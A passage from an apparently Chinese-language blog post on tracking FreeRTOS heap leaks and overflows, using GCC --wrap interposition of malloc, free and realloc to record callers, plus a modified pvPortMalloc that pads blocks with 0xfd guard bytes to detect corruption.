</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\r\n</span><span class="s">address: 0x%p</span><span class="se">\r\n</span><span class="s">size: %d</span><span class="se">\r\n</span><span class="s">avail: %d</span><span class="se">\r\n</span><span class="s">pool_start: 0x%p</span><span class="se">\r\n</span><span class="s">pool_end: 0x%p</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">           <span class="n">ucHeap</span><span class="p">,</span> <span class="n">xTotalHeapSize</span><span class="p">,</span> <span class="n">xFreeBytesRemaining</span><span class="p">,</span> <span class="n">pucAlignedHeap</span><span class="p">,</span> <span class="n">pxEnd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;state,block_addr,user_addr,caller,blocksize,wanted_size</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="n">pxLink</span> <span class="o">!=</span> <span class="n">pxEnd</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">		
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%s, 0x%p, 0x%p, 0x%p,%d,%d</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="p">((</span><span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">&amp;</span> <span class="n">heapBLOCK_ALLOCATED_BITMASK</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">)</span><span class="o">?</span> <span class="s">&#34;U&#34;</span><span class="o">:</span><span class="s">&#34;F&#34;</span><span class="p">,</span> <span class="n">pxLink</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pxLink</span><span class="o">+</span><span class="n">xHeapStructSize</span><span class="p">,</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">caller</span><span class="p">,</span> <span class="p">((</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="p">)</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">heapBLOCK_ALLOCATED_BITMASK</span><span class="p">),</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xWantedSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">pxLink</span> <span class="o">=</span><span class="p">(</span><span class="n">BlockLink_t</span> <span class="o">*</span><span class="p">)</span> <span class="p">((</span> <span class="kt">uint8_t</span> <span class="o">*</span> <span class="p">)</span><span class="n">pxLink</span> <span class="o">+</span> <span class="p">((</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="p">)</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">heapBLOCK_ALLOCATED_BITMASK</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">xTaskResumeAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>利用库打桩机制，替换标准库中的 malloc free realloc 等内存分配函数。</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cm">/************** wrap C library functions **************/</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span> <span class="nf">__wrap_malloc</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="o">*</span><span class="n">caller</span> <span class="o">=</span> <span class="nf">__builtin_return_address</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="nf">pvPortMalloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">caller</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span> <span class="nf">__wrap__malloc_r</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">void</span> <span class="o">*</span><span class="n">caller</span> <span class="o">=</span> <span class="nf">__builtin_return_address</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="nf">pvPortMalloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">caller</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">__wrap_free</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">pv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">vPortFree</span><span class="p">(</span><span class="n">pv</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span> <span class="nf">__wrap_calloc</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">a</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">void</span> <span class="o">*</span><span class="n">pvReturn</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="o">*</span><span class="n">caller</span> <span class="o">=</span> <span class="nf">__builtin_return_address</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">pvReturn</span> <span class="o">=</span> <span class="nf">pvPortMalloc</span><span class="p">(</span> <span class="n">a</span><span class="o">*</span><span class="n">b</span><span class="p">,</span> <span class="n">caller</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">pvReturn</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">memset</span><span class="p">(</span><span class="n">pvReturn</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">a</span><span class="o">*</span><span class="n">b</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">pvReturn</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span> <span class="nf">__wrap_realloc</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">pv</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="o">*</span><span class="n">caller</span> <span class="o">=</span> <span class="nf">__builtin_return_address</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="nf">pvPortRealloc</span><span class="p">(</span><span class="n">pv</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">caller</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">__wrap__free_r</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nf">__wrap_free</span><span class="p">(</span><span class="n">x</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">__wrap__realloc_r</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">x</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">sz</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="o">*</span><span class="n">caller</span> <span class="o">=</span> <span class="nf">__builtin_return_address</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="nf">pvPortRealloc</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="n">caller</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cm">/*-----------------------------------------------------------*/</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>gcc 的链接器支持用 &ndash;wrap f 参数进行链接时打桩，这个参数告诉链接器，把对符号 f 的引用解析成 __wrap_f。通过这个机制，我们调用malloc的时候，便会替换成我们加了调试信息的__wrap_malloc。另外，再使用 __builtin_return_address 接口获取函数的返回地址并记录，这样就知道是谁申请了这块内存。</p>
<p>最后再添加连接器参数：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sdk_add_link_options(
</span></span><span class="line"><span class="cl">        -Wl,--wrap=malloc
</span></span><span class="line"><span class="cl">        -Wl,--wrap=_malloc_r
</span></span><span class="line"><span class="cl">        -Wl,--wrap=free
</span></span><span class="line"><span class="cl">        -Wl,--wrap=calloc
</span></span><span class="line"><span class="cl">        -Wl,--wrap=realloc
</span></span><span class="line"><span class="cl">        -Wl,--wrap=_free_r
</span></span><span class="line"><span class="cl">        -Wl,--wrap=_realloc_r
</span></span><span class="line"><span class="cl">)
</span></span></code></pre></td></tr></table>
</div>
</div><p>对于内存越界问题，可以在每个内存块的末尾增加冗余长度，并填充特定数据，在内存释放的时候检查填充的数据有没有被篡改，以此判断是否存在内存被破坏问题。</p>
<ul>
<li>pvPortMalloc 的修改</li>
</ul>
<p>在 xWantedSize 的基础上增加一个字节，确保内存块的尾部够空间填充一个特殊数据。然后在将要分配出去的内存块中末尾未使用的数据全部填充为0xfd，填充的长度为 pxBlock-&gt;xBlockSize-_xWantedSize-xHeapStructSize。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span> <span class="nf">pvPortMalloc</span><span class="p">(</span> <span class="kt">size_t</span> <span class="n">xWantedSize</span> <span class="p">,</span> <span class="kt">void</span> <span class="o">*</span> <span class="n">caller</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">BlockLink_t</span> <span class="o">*</span> <span class="n">pxBlock</span><span class="p">,</span> <span class="o">*</span> <span class="n">pxPreviousBlock</span><span class="p">,</span> <span class="o">*</span> <span class="n">pxNewBlockLink</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="o">*</span> <span class="n">pvReturn</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">xAdditionalRequiredSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">_xWantedSize</span> <span class="o">=</span> <span class="n">xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">vTaskSuspendAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* If this is the first call to malloc then the heap will require
</span></span></span><span class="line"><span class="cl"><span class="cm">         * initialisation to setup the list of free blocks. */</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="n">pxEnd</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">prvHeapInit</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="n">xWantedSize</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="cm">/* The wanted size must be increased so it can contain a BlockLink_t
</span></span></span><span class="line"><span class="cl"><span class="cm">             * structure in addition to the requested amount of bytes. Some
</span></span></span><span class="line"><span class="cl"><span class="cm">             * additional increment may also be needed for alignment. */</span>
</span></span><span class="line"><span class="cl">            <span class="n">xWantedSize</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="n">xAdditionalRequiredSize</span> <span class="o">=</span> <span class="n">xHeapStructSize</span>  <span class="o">+</span> <span class="n">portBYTE_ALIGNMENT</span> <span class="o">-</span> <span class="p">(</span> <span class="n">xWantedSize</span> <span class="o">&amp;</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span> <span class="nf">heapADD_WILL_OVERFLOW</span><span class="p">(</span> <span class="n">xWantedSize</span><span class="p">,</span> <span class="n">xAdditionalRequiredSize</span> <span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">xWantedSize</span> <span class="o">+=</span> <span class="n">xAdditionalRequiredSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">xWantedSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Check the block size we are trying to allocate is not so large that the
</span></span></span><span class="line"><span class="cl"><span class="cm">         * top bit is set.  The top bit of the block size member of the BlockLink_t
</span></span></span><span class="line"><span class="cl"><span class="cm">         * structure is used to determine who owns the block - the application or
</span></span></span><span class="line"><span class="cl"><span class="cm">         * the kernel, so it must be free. */</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="nf">heapBLOCK_SIZE_IS_VALID</span><span class="p">(</span> <span class="n">xWantedSize</span> <span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="n">xWantedSize</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span> <span class="n">xWantedSize</span> <span class="o">&lt;=</span> <span class="n">xFreeBytesRemaining</span> <span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="cm">/* Traverse the list from the start (lowest address) block until
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * one of adequate size is found. */</span>
</span></span><span class="line"><span class="cl">                <span class="n">pxPreviousBlock</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">xStart</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">pxBlock</span> <span class="o">=</span> <span class="n">xStart</span><span class="p">.</span><span class="n">pxNextFreeBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="k">while</span><span class="p">(</span> <span class="p">(</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">&lt;</span> <span class="n">xWantedSize</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">!=</span> <span class="nb">NULL</span> <span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxPreviousBlock</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxBlock</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="cm">/* If the end marker was reached then a block of adequate size
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * was not found. */</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span> <span class="n">pxBlock</span> <span class="o">!=</span> <span class="n">pxEnd</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* Return the memory space pointed to - jumping over the
</span></span></span><span class="line"><span class="cl"><span class="cm">                     * BlockLink_t structure at its start. */</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pvReturn</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="p">)</span> <span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">uint8_t</span> <span class="o">*</span> <span class="p">)</span> <span class="n">pxPreviousBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="p">)</span> <span class="o">+</span> <span class="n">xHeapStructSize</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="cm">/* This block is being returned for use so must be taken out
</span></span></span><span class="line"><span class="cl"><span class="cm">                     * of the list of free blocks. */</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxPreviousBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="cm">/* If the block is larger than required it can be split into
</span></span></span><span class="line"><span class="cl"><span class="cm">                     * two. */</span>
</span></span><span class="line"><span class="cl">                    <span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">-</span> <span class="n">xWantedSize</span> <span class="p">)</span> <span class="o">&gt;</span> <span class="n">heapMINIMUM_BLOCK_SIZE</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="cm">/* This block is to be split into two.  Create a new
</span></span></span><span class="line"><span class="cl"><span class="cm">                         * block following the number of bytes requested. The void
</span></span></span><span class="line"><span class="cl"><span class="cm">                         * cast is used to prevent byte alignment warnings from the
</span></span></span><span class="line"><span class="cl"><span class="cm">                         * compiler. */</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxNewBlockLink</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="p">)</span> <span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">uint8_t</span> <span class="o">*</span> <span class="p">)</span> <span class="n">pxBlock</span> <span class="p">)</span> <span class="o">+</span> <span class="n">xWantedSize</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">configASSERT</span><span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">pxNewBlockLink</span> <span class="p">)</span> <span class="o">&amp;</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                        <span class="cm">/* Calculate the sizes of two blocks split from the
</span></span></span><span class="line"><span class="cl"><span class="cm">                         * single block. */</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxNewBlockLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">-</span> <span class="n">xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxNewBlockLink</span><span class="o">-&gt;</span><span class="n">xWantedSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxNewBlockLink</span><span class="o">-&gt;</span><span class="n">caller</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">=</span> <span class="n">xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                        <span class="cm">/* Insert the new block into the list of free blocks. */</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">prvInsertBlockIntoFreeList</span><span class="p">(</span> <span class="n">pxNewBlockLink</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="k">else</span>
</span></span><span class="line"><span class="cl">                    <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    
</span></span><span class="line"><span class="cl">
